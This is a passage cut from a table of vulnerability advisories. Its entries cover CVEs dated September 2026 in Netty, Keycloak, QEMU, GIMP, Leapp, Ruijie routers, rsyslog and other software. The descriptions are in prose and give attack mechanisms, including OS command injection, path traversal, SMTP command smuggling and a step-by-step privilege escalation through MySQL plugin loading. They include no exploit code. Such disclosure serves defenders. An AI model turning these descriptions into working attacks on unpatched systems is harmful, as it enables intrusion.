&lt;td&gt;A flaw was found in Netty. A remote attacker could exploit this vulnerability by sending specially crafted HTTP/2 or HTTP/3 Extended CONNECT requests. Netty&#039;s HTTP-object conversion path incorrectly processes these requests as regular HTTP/1.1 CONNECT requests, leading to a loss of critical protocol and path information. This misinterpretation can allow attackers to bypass security policies, such as routing or authorization logic, in applications that rely on Netty for HTTP/2 or HTTP/3 communication, resulting in integrity loss.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93568&quot; target=&quot;_blank&quot;&gt;CVE-2026-93568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s MqttDecoder. An unauthenticated remote attacker can exploit this vulnerability by sending a specially crafted MQTT CONNECT packet. The decoder fails to properly validate the &#039;Properties Length&#039; against the &#039;Remaining Length&#039;, allowing an attacker to bypass size limits. This leads to excessive memory and CPU consumption, resulting in a denial of service (DoS) due to an OutOfMemoryError.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93575&quot; target=&quot;_blank&quot;&gt;CVE-2026-93575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel for Spring Boot 4&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s StompSubframeDecoder component. A remote attacker can exploit this vulnerability by sending a specially crafted STOMP frame body without its terminating null byte. This causes the decoder to allocate a ByteBuf (a buffer for bytes) that is never released, leading to a permanent memory leak. Over time, this uncontrolled memory consumption can result in a Denial of Service (DoS) for the application using the affected STOMP codec.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93494&quot; target=&quot;_blank&quot;&gt;CVE-2026-93494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel for Spring Boot 4&lt;/td&gt;
&lt;td&gt;A flaw was found in the Netty STOMP codec. A remote attacker could send a specially crafted STOMP frame with a content-length header exceeding the maximum integer value. This integer truncation vulnerability could lead to an infinite decode loop, causing a Denial of Service (DoS) by exhausting memory and CPU resources.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93560&quot; target=&quot;_blank&quot;&gt;CVE-2026-93560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel for Spring Boot 4&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s `SmtpResponseDecoder` component. A remote attacker, acting as a malicious or man-in-the-middle (MITM) SMTP server, could exploit this by sending a specially crafted, unbounded multi-line SMTP response without a terminator. This vulnerability leads to unbounded memory accumulation within the client&#039;s Java Virtual Machine (JVM) heap, causing an `OutOfMemoryError` and a denial of service (DoS) due to a process crash.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93563&quot; target=&quot;_blank&quot;&gt;CVE-2026-93563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel for Spring Boot 4&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s `RedisArrayAggregator` component. A remote attacker can exploit this vulnerability by sending specially crafted nested Redis (RESP) array headers. This can cause the `RedisArrayAggregator` to eagerly preallocate a large amount of heap memory, leading to heap memory exhaustion and a Denial of Service (DoS) for applications using `RedisDecoder` with `RedisArrayAggregator` on untrusted traffic.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93572&quot; target=&quot;_blank&quot;&gt;CVE-2026-93572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel for Spring Boot 4&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty netty-codec-smtp. The component does not properly validate Carriage Return (CR) and Line Feed (LF) characters in the SMTP command-name field. A remote attacker, if an application routes untrusted input into this field, can embed CR/LF characters to inject arbitrary SMTP commands. This can lead to SMTP command smuggling, allowing for unauthorized email relay or spoofing of sender/recipient addresses. While the impact is significant, the real-world exploitability is considered lower as applications typically do not place user-controlled data in the command-name field.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93576&quot; target=&quot;_blank&quot;&gt;CVE-2026-93576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Keycloak 26.4&lt;/td&gt;
&lt;td&gt;Keycloak provides a policy enforcer to protect applications by matching incoming web requests against defined security policies. A flaw was found where the enforcer fails to correctly normalize web addresses that contain special encoded characters, such as those representing semicolons or directory traversal segments. An authenticated user can use these encoded characters to trick the enforcer into applying a less restrictive security policy than intended, potentially gaining unauthorized access to sensitive administrative or private application endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74909&quot; target=&quot;_blank&quot;&gt;CVE-2026-74909&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Keycloak 26.4&lt;/td&gt;
&lt;td&gt;Keycloak is an open-source identity and access management solution. A vulnerability was discovered where a user with the impersonation role can impersonate a realm administrator. This allows the attacker to gain full administrative control over the realm, including the ability to manage users, clients, and roles.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17526&quot; target=&quot;_blank&quot;&gt;CVE-2026-17526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Keycloak 26.4&lt;/td&gt;
&lt;td&gt;A flaw was found in the SAML Redirect Binding implementation of Keycloak, an open-source identity and access management solution. The issue occurs because the custom DEFLATE compression and decompression helpers fail to release native zlib memory after use. An unauthenticated attacker can exploit this by sending repeated malformed SAML requests, leading to native memory exhaustion and a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18212&quot; target=&quot;_blank&quot;&gt;CVE-2026-18212&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Keycloak 26.4&lt;/td&gt;
&lt;td&gt;A flaw was found in the theme localization endpoints of the keycloak-services component, which is the core service responsible for authentication flows and theme management in Keycloak. The issue occurs because the system accepts arbitrary locale tags from unauthenticated requests and stores them in a permanent in-memory cache without limits. An attacker can exploit this by sending a large number of unique locale tags, eventually causing the server to run out of memory and crash.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79651&quot; target=&quot;_blank&quot;&gt;CVE-2026-79651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in QEMU. The VAPIC setup hypercall in hw/i386/vapic.c does not validate that the writable RAM alias remains within the option ROM window. A privileged guest user on a Q35/KVM machine can position this alias over locked SMRAM, bypassing chipset D_LCK protection and injecting code into System Management Mode memory.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81627&quot; target=&quot;_blank&quot;&gt;CVE-2026-81627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in tftp-hpa. When the `in.tftpd` remap engine processes an inverse remap rule that also aborts with a non-empty custom error message, it can pass invalid match offsets to the `genmatchstring()` function. This leads to out-of-bounds read/write operations. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted request, causing the daemon to crash and resulting in a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85234&quot; target=&quot;_blank&quot;&gt;CVE-2026-85234&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in flatpak-builder where Git hooks are not disabled when applying patch sources with use-git-am: true. An attacker who can provide a malicious source containing a Git post-applypatch hook can cause the hook to execute on the host during the build process, resulting in arbitrary code execution with the privileges of the user running flatpak-builder.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86320&quot; target=&quot;_blank&quot;&gt;CVE-2026-86320&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in Cockpit. An unauthenticated remote attacker can exploit this vulnerability by initiating and sustaining numerous simultaneous connections to the `cockpit-tls` service. This forces the service to create an unbounded number of detached threads, consuming system resources such as memory and file descriptors. The primary consequence is a denial of service (DoS), leading to degradation or complete unavailability of the Cockpit service for legitimate users.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91149&quot; target=&quot;_blank&quot;&gt;CVE-2026-91149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 6&lt;/td&gt;
&lt;td&gt;A flaw was found in GIMP. When processing a specially crafted lighting preset file, the Lighting Effects filter does not properly validate the number of light sources. This can lead to an out-of-bounds write, corrupting memory. An attacker could exploit this by convincing a user to open a malicious preset file, potentially causing a crash or enabling arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90947&quot; target=&quot;_blank&quot;&gt;CVE-2026-90947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 6&lt;/td&gt;
&lt;td&gt;A flaw was found in GIMP&#039;s ICO file loader. When processing an ICO file containing an embedded PNG image, an integer overflow can occur during the calculation of the required buffer size. This leads to an undersized buffer being allocated, causing a heap-based buffer overflow when the decoded pixel data is written. A remote attacker could exploit this by crafting a malicious ICO file, which, when opened, could lead to arbitrary code execution or a crash.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90948&quot; target=&quot;_blank&quot;&gt;CVE-2026-90948&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 6&lt;/td&gt;
&lt;td&gt;A flaw was found in GIMP&#039;s PSP (Paint Shop Pro) file loader. When processing a compressed selection channel, a heap-based buffer overflow can occur due to a mismatch between the allocated buffer size and the amount of data decompressed. A remote attacker could exploit this vulnerability by crafting a malicious PSP file. Opening this file in GIMP could lead to a crash or arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90949&quot; target=&quot;_blank&quot;&gt;CVE-2026-90949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 9&lt;/td&gt;
&lt;td&gt;A privilege escalation flaw was found in the scan_mysql actor of leapp-upgrade-el9toel10 (provided by leapp-repository). During RHEL 9 to RHEL 10 upgrades, the actor runs: mysqld --validate-config --log-error-verbosity=2 directly as root in the Leapp actor context, bypassing the packaged MySQL systemd unit that normally starts the daemon as User=mysql. A process compromised as the mysql OS identity can write a version-2 persisted configuration (mysqld-auto.cnf) and a malicious shared object into /var/lib/mysql (a directory owned by mysql). That persisted map can set plugin_dir to /var/lib/mysql and early_plugin_load (or related loader options such as plugin_load / plugin_load_add) so MySQL loads the attacker-controlled object during configuration validation. Plugin loading can reach dlopen() before MySQL&#039;s runtime-user check and before plugin-symbol validation. When an administrator subsequently runs the documented Leapp preupgrade or upgrade workflow, attacker-controlled code can execute as UID 0 with a full capability set in an unconfined SELinux domain (unconfined_t). The attack does not require write access to the default system plugin path under /usr; redirecting plugin_dir via mysql-owned persisted state is sufficient. Ordinary SQL privileges alone (including highly privileged SQL accounts) are not a sufficient startpoint - OS-level execution as the mysql service identity is required, plus later administrator invocation of Leapp.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75092&quot; target=&quot;_blank&quot;&gt;CVE-2026-75092&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;A flaw was found in sequoia-openpgp. The library incorrectly infers key flags for older certificates when a key flags subpacket is missing, leading to a discrepancy in how key capabilities are viewed. This key flag confusion allows an attacker to bypass the back-signature check. Consequently, an attacker can illegitimately bind an arbitrary subkey to their own certificate and forge signatures, completely compromising cryptographic integrity.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42784&quot; target=&quot;_blank&quot;&gt;CVE-2026-42784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;A flaw was found in environment-modules. A local attacker can exploit this vulnerability by placing a maliciously named modulefile in a location visible to the victim&#039;s `MODULEPATH`. When the victim uses Bash completion for `module` or `ml` commands, the malicious module name, containing shell metacharacters, is evaluated as a command. This can lead to arbitrary command execution in the completing user&#039;s shell, impacting their confidentiality, integrity, and availability.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85013&quot; target=&quot;_blank&quot;&gt;CVE-2026-85013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat OpenShift Container Platform 4&lt;/td&gt;
&lt;td&gt;A flaw was found in the OpenShift console. Unauthenticated access to the `/api/devfile/` and `/api/devfile/samples/` endpoints allows a remote attacker to send crafted devfile payloads. This can lead to Server-Side Request Forgery (SSRF), where the console pod makes requests to internal services and reflects partial responses to the attacker. Additionally, by sending repeated large requests without a specified content length, an attacker can cause unbounded memory growth, leading to a Denial of Service (DoS).&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75885&quot; target=&quot;_blank&quot;&gt;CVE-2026-75885&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Quay 3&lt;/td&gt;
&lt;td&gt;A flaw was found in quay-builder-qemu. A remote attacker could exploit this by compromising the upstream `Noelware/docker-manifest-action` used in the release workflow, which is pinned to a mutable branch. This allows the attacker to inject arbitrary code, leading to the exfiltration of sensitive registry credentials or the publication of malicious images. The workflow also exposes the default GitHub token, increasing the severity of the compromise.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85469&quot; target=&quot;_blank&quot;&gt;CVE-2026-85469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Redocly--redocly-cli&lt;/td&gt;
&lt;td&gt;Redocly CLI makes OpenAPI validation, linting, and documentation workflows easier. Prior to version 2.33.0 of @redocly/respect-core and @redocly/cli, the respect command dynamically evaluates $faker runtime expressions in Arazzo descriptions. A crafted expression can traverse constructor, prototype, or __proto__ properties in packages/respect-core/src/modules/context-parser/get-value-from-context.ts, reach the JavaScript Function constructor, and execute arbitrary code when a user processes an untrusted description. The executed code runs with the privileges of the CLI process and can execute shell commands or read CI secrets. Users processing only trusted, self-authored workflows are not affected. This issue is fixed in @redocly/respect-core and @redocly/cli version 2.33.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63325&quot; target=&quot;_blank&quot;&gt;CVE-2026-63325&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;refinedev--@refinedev/inferencer&lt;/td&gt;
&lt;td&gt;@refinedev/inferencer through 7.0.0 fails to escape API field names when interpolating them into generated JSX source code. Attackers controlling the data provider can inject malicious JavaScript through crafted JSON property names that execute in the developer&#039;s browser when the Inferencer page renders.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92784&quot; target=&quot;_blank&quot;&gt;CVE-2026-92784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;requarks--Wiki.js&lt;/td&gt;
&lt;td&gt;Wiki.js through 2.5.314 fails to require path separators when matching START and END page rules, allowing attackers to access pages sharing a prefix with authorized folders. Users granted access to a folder can read and modify unrelated pages with matching prefixes, bypassing intended access controls.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92776&quot; target=&quot;_blank&quot;&gt;CVE-2026-92776&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;retspen--webvirtcloud&lt;/td&gt;
&lt;td&gt;WebVirtCloud fails to properly validate permission flags in UserInstance grants, allowing view-only users to perform privileged actions. Attackers with read-only grants can power off virtual machines, reset root passwords, install SSH keys, and manage ISO images by exploiting the get_instance gate that only checks grant existence.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92761&quot; target=&quot;_blank&quot;&gt;CVE-2026-92761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RexTheme--Product Feed Manager&lt;/td&gt;
&lt;td&gt;Contributor SQL Injection in Product Feed Manager &amp;lt;= 7.12.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66580&quot; target=&quot;_blank&quot;&gt;CVE-2026-66580&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RosarioSIS--RosarioSIS&lt;/td&gt;
&lt;td&gt;RosarioSIS versions before 12.9 fail to validate the filename request parameter in Users and Students modules, allowing authenticated users to unlink allow-listed files via path traversal. Attackers can use parent-directory sequences to escape upload directories and delete CSS, XML, JSON resources and other users&#039; documents throughout the installation.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93014&quot; target=&quot;_blank&quot;&gt;CVE-2026-93014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rsyslog--rsyslog&lt;/td&gt;
&lt;td&gt;Rsyslog is a rocket-fast system for log processing. From 7.5.4 until 8.2606.0, the optional mmpstrucdata plugin&#039;s parseSD_PARAM function in plugins/mmpstrucdata/mmpstrucdata.c stores RFC5424 parameter values in a fixed pVal[32 * 1024] stack buffer and calls parsePARAM_VALUE without supplying the destination size. A remote unauthenticated attacker whose crafted RFC5424 message reaches an action using mmpstrucdata can provide a structured-data parameter larger than that buffer when MaxMessageSize permits it, causing an attacker-controlled stack overwrite. Deployments that do not install and use the plugin, or whose effective message-size limit remains below the required threshold, are not affected by this issue. The demonstrated impact is a crash and interruption of log collection; code execution is not demonstrated. This issue is fixed in version 8.2606.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61548&quot; target=&quot;_blank&quot;&gt;CVE-2026-61548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ruijie--RG-EW3000GX&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Ruijie RG-EW3000GX EW_3.0(1)B11P380. Affected by this vulnerability is the function cc_set of the file unifyframe-sgi.elf of the component configChange. Such manipulation of the argument data.url leads to os command injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92397&quot; target=&quot;_blank&quot;&gt;CVE-2026-92397&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ruijie--RG-EW3000GX&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Ruijie RG-EW3000GX EW_3.0(1)B11P380. Affected by this issue is some unknown functionality of the file /etc/rg_config/admin of the component user_list_note Module. Performing a manipulation of the argument Name results in os command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92398&quot; target=&quot;_blank&quot;&gt;CVE-2026-92398&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rundeck--rundeck&lt;/td&gt;
&lt;td&gt;Rundeck through 6.2.1 fails to properly authorize the importConfig and importNodesSources parameters in the project archive import endpoint. Attackers with only the import action can replace project configuration files including security-relevant settings like node executors and SSH key paths that affect job execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92763&quot; target=&quot;_blank&quot;&gt;CVE-2026-92763&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rustls--webpki&lt;/td&gt;
&lt;td&gt;rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93599&quot; target=&quot;_blank&quot;&gt;CVE-2026-93599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SabyasachiRana--WebMap&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in SabyasachiRana WebMap up to 8b95fe4dc301a3c09ddf145b895de0bf9f8d2a25. This affects the function nmap_newscan of the file functions_nmap.py of the component New Nmap Scan Handler. Such manipulation of the argument target/params leads to os command injection. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. The name of the patch is 3d52f65803a2716bff14d938352c6fef45b0cfb6. A patch should be applied to remediate this issue. This issue got fixed with a silent patch.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90843&quot; target=&quot;_blank&quot;&gt;CVE-2026-90843&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1330 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in camera in Samsung Mobile Processor Exynos 1330, 1380, 1480, 2400, 1580, 2500, 2600, and 1680. A stack-based buffer overflow occurs when a malformed message is sent to the camera driver, causing a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33963&quot; target=&quot;_blank&quot;&gt;CVE-2026-33963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 850 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in MFC in Samsung Mobile Processor and Wearable Processor Exynos 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 2600, 1680, W920, W930, and W1000. A double-free vulnerability in the Exynos MFC encoder driver (due to improper cleanup of dma_buf references during error handling) leads to kernel memory corruption and potential arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-23789&quot; target=&quot;_blank&quot;&gt;CVE-2026-23789&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
